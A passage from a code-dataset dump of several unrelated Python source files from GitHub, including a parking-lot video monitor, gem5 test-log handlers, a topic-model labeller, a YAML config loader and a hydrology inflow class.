self.lastFrame+300:\n self.movement = \"\"\n self.lastFrame = 0\n\n # display the resulting frame\n\n # self.textCount(self.count)\n self.textBremain(self.remainB)\n # self.textBremain(self.remainB)\n cv2.putText(frame, \"B\", (27, 50),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)\n \n # get frame infos\n height, width, channel = frame.shape\n step = channel * width\n\n # create QImage from RGB frame\n qImg = QImage(frame.data, width, height, step, QImage.Format_RGB888)\n # show frame in img_label\n labelshow.setPixmap(QPixmap.fromImage(qImg))\n\n def detectspace(self):\n #print(self.config)\n def job():\n self.firebase.put(\"/parkingspace\",\"space\",int(countSpace))\n print(\"post_to_field4...\")\n \n \n \n \n \n # Create Background subtractor\n \n \n \n video_cur_pos = self.capspace.get(cv2.CAP_PROP_POS_MSEC) / 1000.0 # Current position of the video file in seconds\n video_cur_frame = self.capspace.get(cv2.CAP_PROP_POS_FRAMES) # Index of the frame to be decoded/captured next\n ret, frame = self.capspace.read() \n if ret == False:\n \n QMessageBox.information(\n self, \"Error Loading video\", \"Unable to load the parkingspace video\")\n self.timer2.stop()\n\n \n \n #frame_gray = cv2.cvtColor(frame.copy(), cv2.COLOR_BGR2GRAY)\n # Background Subtraction\n frame_blur = cv2.GaussianBlur(frame.copy(), (5,5), 3)\n frame_gray = cv2.cvtColor(frame_blur, cv2.COLOR_BGR2GRAY)\n frame_out = frame.copy()\n \n # Draw Overlay\n '''\n if self.config['text_overlay']:\n str_on_frame = \"%d/%d\" % (video_cur_frame, self.video_info['num_of_frames'])\n #textframecount\n cv2.putText(frame_out, str_on_frame, (5,30), cv2.FONT_HERSHEY_SIMPLEX,\n 0.8, (0,0,255), 2, cv2.LINE_AA)\n '''\n \n if self.config['motion_detection']:\n fgmask = self.fgbg.apply(frame_blur)\n bw = np.uint8(fgmask==255)*255 \n bw = cv2.erode(bw, kernel_erode, iterations=1)\n bw = cv2.dilate(bw, kernel_dilate, iterations=1)\n (_, cnts, _) = cv2.findContours(bw.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n # loop over the contours\n for c in cnts:\n # if the contour is too small, ignore it\n if cv2.contourArea(c) < self.config['min_area_motion_contour']:\n continue\n (x, y, w, h) = cv2.boundingRect(c)\n cv2.rectangle(frame_out, (x, y), (x + w, y + h), (255, 255, 255), 2) \n \n if self.config['parking_detection']: \n for ind, park in enumerate(self.parking_data):\n points = np.array(park['points'])\n rect = self.parking_bounding_rects[ind]\n roi_gray = frame_gray[rect[1]:(rect[1]+rect[3]), rect[0]:(rect[0]+rect[2])] # crop roi for faster calcluation \n laplacian = cv2.Laplacian(roi_gray, cv2.CV_64F)\n points[:,0] = points[:,0] - rect[0] # shift contour to roi\n points[:,1] = points[:,1] - rect[1]\n delta = np.mean(np.abs(laplacian * self.parking_mask[ind]))\n status = delta < self.config['park_laplacian_th']\n # If detected a change in parking status, save the current time\n if status != self.parking_status[ind] and self.parking_buffer[ind]==None:\n self.parking_buffer[ind] = video_cur_pos\n # If status is still different than the one saved and counter is open\n elif status != self.parking_status[ind] and self.parking_buffer[ind]!=None:\n if video_cur_pos - self.parking_buffer[ind] > self.config['park_sec_to_wait']:\n self.parking_status[ind] = status\n self.parking_buffer[ind] = None\n # If status is still same and counter is open \n elif status == self.parking_status[ind] and self.parking_buffer[ind]!=None:\n #if video_cur_pos - parking_buffer[ind] > config['park_sec_to_wait']:\n self.parking_buffer[ind] = None \n #print(\"#%d: %.2f\" % (ind, delta))\n #print(self.parking_buffer)\n \n if self.config['parking_overlay']: \n \n countSpace = int('100000000000000000',2)\n for ind, park in enumerate(self.parking_data):\n points = np.array(park['points'])\n if self.parking_status[ind]:\n countSpace+=pow(2,ind)\n color = (255,0,0)#if no car change color\n #print(parking_status[ind])\n else: color = (0,0,255)\n \n \n countSpace << 1\n cv2.drawContours(frame_out, [points], contourIdx=-1,\n color=color, thickness=2, lineType=cv2.LINE_8) \n moments = cv2.moments(points)\n ##textID \n \n centroid = (int(moments['m10']/moments['m00'])-3, int(moments['m01']/moments['m00'])+3)\n cv2.putText(frame_out, str(park['id']), (centroid[0]+1, centroid[1]+1), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255,255,255), 1, cv2.LINE_AA)\n cv2.putText(frame_out, str(park['id']), (centroid[0]-1, centroid[1]-1), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255,255,255), 1, cv2.LINE_AA)\n cv2.putText(frame_out, str(park['id']), (centroid[0]+1, centroid[1]-1), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255,255,255), 1, cv2.LINE_AA)\n cv2.putText(frame_out, str(park['id']), (centroid[0]-1, centroid[1]+1), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255,0,0), 1, cv2.LINE_AA)\n cv2.putText(frame_out, str(park['id']), centroid, cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,0), 1, cv2.LINE_AA)\n #print(str(ind)+\" : \") \n #print(str(countSpace))\n \n \n cv2.putText(frame_out,format(countSpace,'b'),(7,97), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,0,0), 3)\n \n if self.pre_countSpace!=countSpace:\n p = threading.Thread(target = job)\n p.start()\n \n \n self.pre_countSpace = countSpace \n if self.config['pedestrian_detction']: \n # detect people in the image\n (rects, weights) = self.hog.detectMultiScale(frame, winStride=(4, 4), padding=(8, 8), scale=1.05)\n \n # draw the original bounding boxes\n for (x, y, w, h) in rects:\n cv2.rectangle(frame_out, (x, y), (x + w, y + h), (255, 0, 0), 2)\n #print(frame_out.shape)\n height, width, channel = frame_out.shape\n step = channel * width\n #print(self.countSpace)\n # create QImage from RGB frame\n spaceqImg = QImage(frame_out.data, width, height, step, QImage.Format_RGB888)\n # show frame in img_label\n self.ui.parkspace.setPixmap(QPixmap.fromImage(spaceqImg)) \n # start/stop timer\n\n def controlTimer(self):\n # if timer is stopped\n if not self.timer.isActive():\n # create video capture\n #self.cap = self.cap\n \n self.textdetail()\n self.cap = cv2.VideoCapture(\"./Entrance.mp4\")\n self.capA = cv2.VideoCapture(\"./areaA.mp4\")\n self.capB = cv2.VideoCapture(\"./areaB.mp4\")\n if self.spaceopen ==True:\n self.fn = r\"./parkinglot_1_480p.mp4\"\n self.fn_yaml = r\"./parking2.yml\"\n self.capspace = cv2.VideoCapture(self.fn)\n # start timer\n self.timer.start(5)\n self.timerA.start(5)\n self.timerB.start(5)\n self.timer2.start(5)\n # update control_bt text\n self.ui.control_bt.setText(\"暫停\")\n # if timer is started\n else:\n # stop timer\n self.timer.stop()\n self.timerA.stop()\n self.timerB.stop()\n self.timer2.stop()\n # release video capture\n self.cap.release()\n self.capA.release()\n self.capB.release()\n self.capspace.release()\n # update control_bt text\n self.ui.control_bt.setText(\"開始\")\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n # create and show mainWindow\n mainWindow = MainWindow()\n mainWindow.show()\n\n sys.exit(app.exec_())\n\n","repo_name":"gitwetguy/Smart_parkinglot","sub_path":"back-end/main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":35452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33654005557","text":"import multiprocessing\nimport os\nimport sys\nimport threading\nimport time\nimport traceback\n\nimport testlib.helper as helper\nimport testlib.log as log\nimport testlib.result as result\nimport testlib.state as state\nimport testlib.terminal as terminal\n\nfrom queue import Queue, Empty\nfrom testlib.configuration import constants\n\n\nclass _TestStreamManager(object):\n def __init__(self):\n self._writers = {}\n\n def open_writer(self, test_result):\n if test_result in self._writers:\n raise ValueError('Cannot have multiple writters on a single test.')\n self._writers[test_result] = _TestStreams(test_result.stdout,\n test_result.stderr)\n\n def get_writer(self, test_result):\n if test_result not in self._writers:\n self.open_writer(test_result)\n return self._writers[test_result]\n\n def close_writer(self, test_result):\n if test_result in self._writers:\n writer = self._writers.pop(test_result)\n writer.close()\n\n def close(self):\n for writer in self._writers.values():\n writer.close()\n self._writers.clear()\n\nclass _TestStreams(object):\n def __init__(self, stdout, stderr):\n helper.mkdir_p(os.path.dirname(stdout))\n helper.mkdir_p(os.path.dirname(stderr))\n self.stdout = open(stdout, 'w')\n self.stderr = open(stderr, 'w')\n\n def close(self):\n self.stdout.close()\n self.stderr.close()\n\nclass ResultHandler(object):\n '''\n Log handler which listens for test results and output saving data as\n it is reported.\n\n When the handler is closed it writes out test results in the python pickle\n format.\n '''\n def __init__(self, schedule, directory):\n '''\n :param schedule: The entire schedule as a :class:`LoadedLibrary`\n object.\n\n :param directory: Directory to save test stdout/stderr and aggregate\n results to.\n '''\n self.directory = directory\n self.internal_results = result.InternalLibraryResults(schedule,\n directory)\n self.test_stream_manager = _TestStreamManager()\n self._closed = False\n\n self.mapping = {\n log.LibraryStatus.type_id: self.handle_library_status,\n\n log.SuiteResult.type_id: self.handle_suite_result,\n log.TestResult.type_id: self.handle_test_result,\n\n log.TestStderr.type_id: self.handle_stderr,\n log.TestStdout.type_id: self.handle_stdout,\n }\n\n def handle(self, record):\n if not self._closed:\n self.mapping.get(record.type_id, lambda _:None)(record)\n\n def handle_library_status(self, record):\n if record['status'] in (state.Status.Complete, state.Status.Avoided):\n self.test_stream_manager.close()\n\n def handle_suite_result(self, record):\n suite_result = self.internal_results.get_suite_result(\n record['metadata'].uid)\n suite_result.result = record['result']\n\n def handle_test_result(self, record):\n test_result = self._get_test_result(record)\n test_result.result = record['result']\n\n def handle_stderr(self, record):\n self.test_stream_manager.get_writer(\n self._get_test_result(record)\n ).stderr.write(record['buffer'])\n\n def handle_stdout(self, record):\n self.test_stream_manager.get_writer(\n self._get_test_result(record)\n ).stdout.write(record['buffer'])\n\n def _get_test_result(self, test_record):\n return self.internal_results.get_test_result(\n test_record['metadata'].uid,\n test_record['metadata'].suite_uid)\n\n def _save(self):\n #FIXME Hardcoded path name\n result.InternalSavedResults.save(\n self.internal_results,\n os.path.join(self.directory, constants.pickle_filename))\n result.JUnitSavedResults.save(\n self.internal_results,\n os.path.join(self.directory, constants.xml_filename))\n\n def close(self):\n if self._closed:\n return\n self._closed = True\n self._save()\n\n def unsuccessful(self):\n '''\n Performs an or reduce on all of the results.\n Returns true if at least one test is unsuccessful, false when all tests\n pass\n '''\n for suite_result in self.internal_results:\n if suite_result.unsuccessful:\n return True\n # If all are successful, then this wasn't \"unsuccessful\"\n return False\n\n\n#TODO Change from a handler to an internal post processor so it can be used\n# to reprint results\nclass SummaryHandler(object):\n '''\n A log handler which listens to the log for test results\n and reports the aggregate results when closed.\n '''\n color = terminal.get_termcap()\n reset = color.Normal\n colormap = {\n state.Result.Errored: color.Red,\n state.Result.Failed: color.Red,\n state.Result.Passed: color.Green,\n state.Result.Skipped: color.Cyan,\n }\n\n def __init__(self):\n self.mapping = {\n log.TestResult.type_id: self.handle_testresult,\n log.LibraryStatus.type_id: self.handle_library_status,\n }\n self._timer = helper.Timer()\n self.results = []\n\n def handle_library_status(self, record):\n if record['status'] == state.Status.Building:\n self._timer.restart()\n\n def handle_testresult(self, record):\n result = record['result'].value\n if result in (state.Result.Skipped, state.Result.Failed,\n state.Result.Passed, state.Result.Errored):\n self.results.append(result)\n\n def handle(self, record):\n self.mapping.get(record.type_id, lambda _:None)(record)\n\n def close(self):\n print(self._display_summary())\n\n def _display_summary(self):\n most_severe_outcome = None\n outcome_fmt = ' {count} {outcome}'\n strings = []\n\n outcome_count = [0] * len(state.Result.enums)\n for result in self.results:\n outcome_count[result] += 1\n\n # Iterate over enums so they are in order of severity\n for outcome in state.Result.enums:\n outcome = getattr(state.Result, outcome)\n count = outcome_count[outcome]\n if count:\n strings.append(outcome_fmt.format(count=count,\n outcome=state.Result.enums[outcome]))\n most_severe_outcome = outcome\n string = ','.join(strings)\n if most_severe_outcome is None:\n string = ' No testing done'\n most_severe_outcome = state.Result.Passed\n else:\n string = ' Results:' + string + ' in {:.2} seconds '.format(\n self._timer.active_time())\n string += ' '\n return terminal.insert_separator(\n string,\n color=self.colormap[most_severe_outcome] + self.color.Bold)\n\nclass TerminalHandler(object):\n color = terminal.get_termcap()\n verbosity_mapping = {\n log.LogLevel.Warn: color.Yellow,\n log.LogLevel.Error: color.Red,\n }\n default = color.Normal\n\n def __init__(self, verbosity=log.LogLevel.Info, machine_only=False):\n self.stream = verbosity >= log.LogLevel.Trace\n self.verbosity = verbosity\n self.machine_only = machine_only\n self.mapping = {\n log.TestResult.type_id: self.handle_testresult,\n log.SuiteStatus.type_id: self.handle_suitestatus,\n log.TestStatus.type_id: self.handle_teststatus,\n log.TestStderr.type_id: self.handle_stderr,\n log.TestStdout.type_id: self.handle_stdout,\n log.TestMessage.type_id: self.handle_testmessage,\n log.LibraryMessage.type_id: self.handle_librarymessage,\n }\n\n def _display_outcome(self, name, outcome, reason=None):\n print(self.color.Bold\n + SummaryHandler.colormap[outcome]\n + name\n + ' '\n + state.Result.enums[outcome]\n + SummaryHandler.reset)\n\n if reason is not None:\n log.test_log.info('')\n log.test_log.info('Reason:')\n log.test_log.info(reason)\n log.test_log.info(terminal.separator('-'))\n\n def handle_teststatus(self, record):\n if record['status'] == state.Status.Running:\n log.test_log.debug('Starting Test Case: %s' %\\\n record['metadata'].name)\n\n def handle_testresult(self, record):\n self._display_outcome(\n 'Test: %s' % record['metadata'].name,\n record['result'].value)\n\n def handle_suitestatus(self, record):\n if record['status'] == state.Status.Running:\n log.test_log.debug('Starting Test Suite: %s ' %\\\n record['metadata'].name)\n\n def handle_stderr(self, record):\n if self.stream:\n print(record.data['buffer'], file=sys.stderr, end='')\n\n def handle_stdout(self, record):\n if self.stream:\n print(record.data['buffer'], file=sys.stdout, end='')\n\n def handle_testmessage(self, record):\n if self.stream:\n print(self._colorize(record['message'], record['level']))\n\n def handle_librarymessage(self, record):\n if not self.machine_only or record.data.get('machine_readable', False):\n print(self._colorize(record['message'], record['level'],\n record['bold']))\n\n def _colorize(self, message, level, bold=False):\n return '%s%s%s%s' % (\n self.color.Bold if bold else '',\n self.verbosity_mapping.get(level, ''),\n message,\n self.default)\n\n def handle(self, record):\n if record.data.get('level', self.verbosity) > self.verbosity:\n return\n self.mapping.get(record.type_id, lambda _:None)(record)\n\n def close(self):\n pass\n\nclass MultiprocessingHandlerWrapper(object):\n '''\n A handler class which forwards log records to subhandlers, enabling\n logging across multiprocessing python processes.\n\n The 'parent' side of the handler should execute either\n :func:`async_process` or :func:`process` to forward\n log records to subhandlers.\n '''\n def __init__(self, *subhandlers):\n # Create thread to spin handing recipt of messages\n # Create queue to push onto\n self.queue = multiprocessing.Queue()\n self.queue.cancel_join_thread()\n self._shutdown = threading.Event()\n\n # subhandlers should be accessed with the _handler_lock\n self._handler_lock = threading.Lock()\n self._subhandlers = subhandlers\n\n def add_handler(self, handler):\n self._handler_lock.acquire()\n self._subhandlers = (handler, ) + self._subhandlers\n self._handler_lock.release()\n\n def _with_handlers(self, callback):\n exception = None\n self._handler_lock.acquire()\n for handler in self._subhandlers:\n # Prevent deadlock when using this handler by delaying\n # exception raise until we get a chance to unlock.\n try:\n callback(handler)\n except Exception as e:\n exception = e\n break\n self._handler_lock.release()\n\n if exception is not None:\n raise exception\n\n def async_process(self):\n self.thread = threading.Thread(target=self.process)\n self.thread.daemon = True\n self.thread.start()\n\n def process(self):\n while not self._shutdown.is_set():\n try:\n item = self.queue.get(timeout=0.1)\n self._handle(item)\n except (KeyboardInterrupt, SystemExit):\n raise\n except EOFError:\n return\n except Empty:\n continue\n\n def _drain(self):\n while True:\n try:\n item = self.queue.get(block=False)\n self._handle(item)\n except (KeyboardInterrupt, SystemExit):\n raise\n except EOFError:\n return\n except Empty:\n return\n\n def _handle(self, record):\n self._with_handlers(lambda handler: handler.handle(record))\n\n def handle(self, record):\n self.queue.put(record)\n\n def _close(self):\n if hasattr(self, 'thread'):\n self.thread.join()\n _wrap(self._drain)\n self._with_handlers(lambda handler: _wrap(handler.close))\n\n # NOTE Python2 has an known bug which causes IOErrors to be raised\n # if this shutdown doesn't go cleanly on both ends.\n # This sleep adds some time for the sender threads on this process to\n # finish pickling the object and complete shutdown after the queue is\n # closed.\n time.sleep(.2)\n self.queue.close()\n time.sleep(.2)\n\n def close(self):\n if not self._shutdown.is_set():\n self._shutdown.set()\n self._close()\n\n\ndef _wrap(callback, *args, **kwargs):\n try:\n callback(*args, **kwargs)\n except:\n traceback.print_exc()\n","repo_name":"gem5/gem5","sub_path":"ext/testlib/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":13202,"program_lang":"python","lang":"en","doc_type":"code","stars":1196,"dataset":"github-code","pt":"78"} +{"seq_id":"37153171078","text":"from argparse import ArgumentParser\nfrom collections import defaultdict\nfrom enum import Enum\nfrom functools import partial\nimport itertools\nimport os\nfrom typing import Dict, List, Optional, Union\n\nimport numpy as np\n\nfrom .cli import CLIBuilder, register_command\nfrom .constants import DIFF_MODEL\nfrom .data import FileReducer, RepoMapping\nfrom .io_constants import (\n BOW_DIR,\n DOC_FILENAME,\n DOCWORD_FILENAME,\n LABELS_FILENAME,\n REF_FILENAME,\n TOPICS_DIR,\n VOCAB_FILENAME,\n WORDTOPIC_FILENAME,\n)\nfrom .reduce import (\n concat_reducer,\n diff_to_hall_reducer,\n last_ref_reducer,\n max_reducer,\n mean_reducer,\n median_reducer,\n)\nfrom .utils import (\n check_file_exists,\n check_range,\n check_remove,\n create_logger,\n load_refs_dict,\n)\n\n\ndef _define_parser(parser: ArgumentParser) -> None:\n cli_builder = CLIBuilder(parser)\n cli_builder.add_bow_arg(required=True)\n cli_builder.add_experiment_arg(required=True)\n cli_builder.add_force_arg()\n parser.add_argument(\n \"--mu\",\n help=\"Weights how discriminative we want the label to be relative to other\"\n \" topics , defaults to %(default)s.\",\n default=1.0,\n type=float,\n )\n parser.add_argument(\n \"--label-size\",\n help=\"Number of words in a label, defaults to %(default)s.\",\n default=2,\n type=int,\n )\n parser.add_argument(\n \"--min-prob\",\n help=\"Admissible words for a topic label must have a topic probability over \"\n \"this value, defaults to %(default)s.\",\n default=0.001,\n type=float,\n )\n parser.add_argument(\n \"--max-topics\",\n help=\"Admissible words for a topic label must be admissible for less then this\"\n \" amount of topics, defaults to %(default)s.\",\n default=10,\n type=int,\n )\n parser.add_argument(\n \"--no-smoothing\",\n help=\"To ignore words that don't cooccur with a given label rather then use \"\n \"Laplace smoothing on the joint word/label probabilty.\",\n dest=\"smoothing\",\n action=\"store_false\",\n )\n parser.add_argument(\n \"--context\",\n help=\"Context creation method.\",\n choices=list(Context),\n type=Context.from_string,\n required=True,\n )\n\n\nclass Context(Enum):\n last = partial(last_ref_reducer)\n max = partial(max_reducer)\n mean = partial(mean_reducer)\n median = partial(median_reducer)\n concat = partial(concat_reducer)\n hall = None\n\n def __str__(self) -> str:\n return self.name\n\n @staticmethod\n def from_string(s: str) -> \"Context\":\n try:\n return Context[s]\n except KeyError:\n raise ValueError()\n\n @property\n def reducer(self) -> Optional[FileReducer]:\n return self.value\n\n\n@register_command(parser_definer=_define_parser)\ndef label(\n bow_name: str,\n exp_name: str,\n force: bool,\n log_level: str,\n mu: float,\n label_size: int,\n min_prob: float,\n max_topics: int,\n smoothing: bool,\n context: Context,\n) -> None:\n \"\"\"Infer a label for each topic automatically given a topic model.\"\"\"\n logger = create_logger(log_level, __name__)\n input_dir_bow = os.path.join(BOW_DIR, bow_name)\n doc_input_path = os.path.join(input_dir_bow, DOC_FILENAME)\n check_file_exists(doc_input_path)\n docword_input_path = os.path.join(input_dir_bow, DOCWORD_FILENAME)\n check_file_exists(docword_input_path)\n refs_input_path = os.path.join(input_dir_bow, REF_FILENAME)\n check_file_exists(refs_input_path)\n vocab_input_path = os.path.join(input_dir_bow, VOCAB_FILENAME)\n check_file_exists(vocab_input_path)\n\n dir_exp = os.path.join(TOPICS_DIR, bow_name, exp_name)\n wordtopic_input_path = os.path.join(dir_exp, WORDTOPIC_FILENAME)\n check_file_exists(wordtopic_input_path)\n\n labels_output_path = os.path.join(dir_exp, LABELS_FILENAME)\n check_remove(labels_output_path, logger, force)\n\n check_range(min_prob, \"min-prob\")\n\n refs_dict = load_refs_dict(logger, refs_input_path)\n\n logger.info(\"Loading word index ...\")\n with open(vocab_input_path, \"r\", encoding=\"utf-8\") as fin:\n word_index: Dict[int, str] = {\n i: word.replace(\"\\n\", \"\") for i, word in enumerate(fin)\n }\n num_words = len(word_index)\n logger.info(\"Loaded word index, found %d words.\", num_words)\n\n repo_mapping = RepoMapping()\n repo_mapping.build(logger, doc_input_path)\n corpus = repo_mapping.create_corpus(logger, docword_input_path)\n if repo_mapping.topic_model == DIFF_MODEL:\n logger.info(\"Recreating hall model corpus (we can't use delta-documents) ...\")\n corpus = repo_mapping.reduce_corpus(\n corpus, logger, refs_dict, diff_to_hall_reducer\n )\n num_docs = corpus.shape[0]\n logger.info(\"Recreated hall model corpus, found %d documents ...\", num_docs)\n\n if context.reducer is not None:\n logger.info(\"Creating %s context ...\", str(context))\n corpus = repo_mapping.reduce_corpus(corpus, logger, refs_dict, context.reducer)\n num_docs = corpus.shape[0]\n logger.info(\"Created context, found %d documents ...\", num_docs)\n\n logger.info(\"Loading word topic distributions ...\")\n topic_words = np.load(wordtopic_input_path)\n num_topics = topic_words.shape[0]\n logger.info(\"Loaded distributions, found %d topics.\", num_topics)\n\n logger.info(\"Finding common words for each topic ...\")\n common_words = np.argwhere(np.sum(topic_words > min_prob, axis=0) > max_topics)\n mask = np.ones(num_words, dtype=bool)\n mask[common_words] = False\n logger.info(\n \"Found %d words with probability over %.4f for more then %d topics, \"\n \"they will not be considered for labels.\",\n len(common_words),\n min_prob,\n max_topics,\n )\n if len(common_words) == num_words:\n logger.info(\"All words were excluded, cannot infer label.\")\n return\n coeff = mu / (num_topics - 1)\n words_counts = np.sum(corpus, axis=0)\n logger.info(\"Inferring labels for each topic ...\")\n best_labels_per_topic: Dict[int, Dict[str, float]] = {}\n best_scores: Dict[str, float] = defaultdict(lambda: -np.inf)\n for cur_topic in range(num_topics):\n logger.info(\"Topic %d:\", cur_topic + 1)\n num_admissible = len(np.argwhere(topic_words[cur_topic] > min_prob).flatten())\n admissible_words = np.argwhere(\n topic_words[cur_topic, mask] > min_prob\n ).flatten()\n if not len(admissible_words):\n logger.info(\"No admissible words where found, cannot infer label.\")\n return\n logger.info(\n \"\\tFound %d words with probability over %.4f, %d remained after removing \"\n \"common words.\",\n num_admissible,\n min_prob,\n len(admissible_words),\n )\n candidates = []\n candidates_names = []\n candidates_counts: Union[List, np.array] = []\n candidates_sizes = []\n for candidate in itertools.combinations(admissible_words, label_size):\n if np.min(corpus[:, candidate], axis=1).any():\n candidates.append(candidate)\n candidates_names.append(\" \".join(word_index[w] for w in candidate))\n candidates_counts.append(np.prod(corpus[:, list(candidate)], axis=1))\n candidates_sizes.append(len(candidate))\n num_cand = len(candidates_names)\n if not num_cand:\n logger.info(\"No candidates where found, cannot infer label.\")\n return\n logger.info(\"\\tFound %d candidate labels, computing their scores ...\", num_cand)\n candidates_counts = np.array(candidates_counts)\n joint_counts = candidates_counts @ corpus\n candidates_counts = np.sum(candidates_counts, axis=1)\n if smoothing:\n joint_counts += 1\n else:\n inds = np.argwhere(joint_counts == 0)\n joint_counts[joint_counts == 0] = (\n candidates_counts[inds[:, 0]] * words_counts[inds[:, 1]]\n )\n for cand_ind, candidate in enumerate(candidates):\n joint_counts[cand_ind, list(candidate)] = candidates_counts[cand_ind]\n\n # denominator = constant term > so we use counts instead of probs to compute PMI\n\n pmi = np.log(\n joint_counts / (candidates_counts[:, None] @ words_counts[:, None].T)\n )\n topic_probs = np.copy(topic_words).T\n topic_probs[:, cur_topic] *= coeff + 1\n topic_probs[:, [t for t in range(num_topics) if t != cur_topic]] *= -coeff\n scores = {\n name: score\n for name, score in zip(candidates_names, np.sum(pmi @ topic_probs, axis=1))\n }\n logger.info(\"\\tTop 5 candidates:\")\n best_labels = sorted(scores, key=scores.get, reverse=True)[:num_topics]\n best_labels_per_topic[cur_topic] = {}\n for label in best_labels:\n if scores[label] > best_scores[label]:\n for topic in best_labels_per_topic:\n if label in best_labels_per_topic[topic]:\n best_labels_per_topic[topic].pop(label)\n best_labels_per_topic[cur_topic][label] = scores[label]\n best_scores[label] = scores[label]\n for i, label_name in enumerate(best_labels[:5]):\n logger.info(\"\\t\\t %d. %s : %.4f\", i + 1, label_name, scores[label_name])\n\n topic_labels: List[str] = []\n for cur_topic in range(num_topics):\n scores = best_labels_per_topic[cur_topic]\n topic_labels.append(sorted(scores, key=scores.get, reverse=True)[0])\n\n logger.info(\"Selected the following labels:\")\n for ind_label, label in enumerate(topic_labels):\n logger.info(\n \"\\tTopic %d : %s (score: %.4f)\", ind_label + 1, label, best_scores[label]\n )\n\n logger.info(\"Saving topic labels ...\")\n with open(labels_output_path, \"w\", encoding=\"utf-8\") as fout:\n fout.write(\"\\n\".join(label for label in topic_labels))\n logger.info(\"Saved topic labels in '%s'.\", labels_output_path)\n","repo_name":"src-d/tm-experiments","sub_path":"tmexp/label.py","file_name":"label.py","file_ext":"py","file_size_in_byte":10116,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"72140189693","text":"import logging\nimport os\nimport yaml\nfrom pprint import pformat\nfrom contextlib import contextmanager\n\nfrom marshmallow.exceptions import ValidationError\n\nfrom reactive_robot.config.schema import RxRobotConfigSchema\nfrom reactive_robot.exceptions import (\n InvalidConfigurationFileException,\n ConfigurationFileNotExists,\n)\n\nlog = logging.getLogger(\"reactive_robot.config\")\n\n\n@contextmanager\ndef _open_config_file(config_file):\n \"\"\"\n A context manager which yields an open file descriptor ready to be read.\n\n Accepts a filename as a string, an open or closed file descriptor, or None.\n When None, it defaults to `reactive-robot.yml` in the CWD. If a closed file descriptor\n is received, a new file descriptor is opened for the same file.\n\n The file descriptor is automatically closed when the context manager block is existed.\n \"\"\"\n\n # Default to the standard config filename.\n if config_file is None:\n paths_to_try = [\"reactive-robot.yml\", \"reactive-robot.yaml\"]\n # If it is a string, we can assume it is a path and attempt to open it.\n elif isinstance(config_file, str):\n paths_to_try = [config_file]\n # If closed file descriptor, get file path to reopen later.\n elif getattr(config_file, \"closed\", False):\n paths_to_try = [config_file.name]\n else:\n paths_to_try = None\n\n if paths_to_try:\n # config_file is not a file descriptor, so open it as a path.\n for path in paths_to_try:\n path = os.path.abspath(path)\n log.info(f\"Trying to load configuration file: {path}\")\n try:\n config_file = open(path, \"rb\")\n break\n except FileNotFoundError:\n log.info(f\"Config file '{path}' does not exist.\")\n continue\n else:\n log.error(f\"Config file '{paths_to_try[0]}' does not exist.\")\n raise ConfigurationFileNotExists(\n f\"Config file '{paths_to_try[0]}' does not exist.\"\n )\n else:\n log.debug(f\"Trying to load configuration file: {config_file}\")\n\n try:\n yield config_file\n finally:\n if hasattr(config_file, \"close\"):\n config_file.close()\n\n\ndef load_config(config_file=None, **kwargs):\n \"\"\"\n Load the configuration for a given file object or name\n\n The config_file can either be a file object, string or None. If it is None\n the default `reactive-robot.yml` filename will loaded.\n\n Extra kwargs are passed to the configuration to replace any default values\n unless they themselves are None.\n \"\"\"\n options = kwargs.copy()\n\n # Filter None values from the options. This usually happens with optional\n # parameters from Click.\n for key, value in options.copy().items():\n if value is None:\n options.pop(key)\n\n config_schema = RxRobotConfigSchema()\n with _open_config_file(config_file) as fd:\n data = yaml.safe_load(fd)\n log.debug(f\"Parsed configuration -> \\n{pformat(data)}\")\n try:\n dump = config_schema.load(data, unknown=True)\n except ValidationError as e:\n raise InvalidConfigurationFileException(e.messages)\n\n log.debug(\"Config object created -> %s \" % dump)\n return dump\n","repo_name":"yusufcanb/reactive-robot","sub_path":"reactive_robot/config/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"19480358033","text":"\"\"\"\r\n CreateInflowFileFromLDASRunoff.py\r\n RAPIDpy\r\n\r\n Created by Alan D. Snow, 2016\r\n Adapted from CreateInflowFileFromWRFHydroRunoff.py.\r\n License: BSD-3-Clause\r\n\"\"\"\r\nfrom .CreateInflowFileFromLDASRunoff import CreateInflowFileFromLDASRunoff\r\n\r\n\r\nclass CreateInflowFileFromWRFHydroRunoff(CreateInflowFileFromLDASRunoff):\r\n \"\"\"Create Inflow File From WRF-Hydro Runoff\r\n\r\n Base class for creating RAPID NetCDF input\r\n of water inflow based on WRF-Hydro\r\n runoff and previously created weight table.\r\n\r\n According to David Gochis, underground runoff is\r\n \"a major fraction of total river flow in most places\"\r\n \"\"\"\r\n land_surface_model_name = \"WRF-Hydro\"\r\n header_wt = ['rivid', 'area_sqm', 'west_east', 'south_north', 'npoints']\r\n\r\n def __init__(self, lat_dim=\"south_north\",\r\n lon_dim=\"west_east\",\r\n lat_var=\"XLAT\",\r\n lon_var=\"XLONG\",\r\n surface_runoff_var=\"SFROFF\",\r\n subsurface_runoff_var=\"UDROFF\"):\r\n\r\n \"\"\"Define the tool (tool name is the name of the class).\"\"\"\r\n self.dims_oi = ['Time', lat_dim, lon_dim]\r\n\r\n super(CreateInflowFileFromWRFHydroRunoff, self).\\\r\n __init__(lat_dim, lon_dim, lat_var, lon_var,\r\n [surface_runoff_var, subsurface_runoff_var])\r\n","repo_name":"erdc/RAPIDpy","sub_path":"RAPIDpy/inflow/CreateInflowFileFromWRFHydroRunoff.py","file_name":"CreateInflowFileFromWRFHydroRunoff.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"78"} +{"seq_id":"41225613185","text":"# Store the data\nred = []\nnon_red = []\n\n# Ask for input\ncolor = input(\"Is your 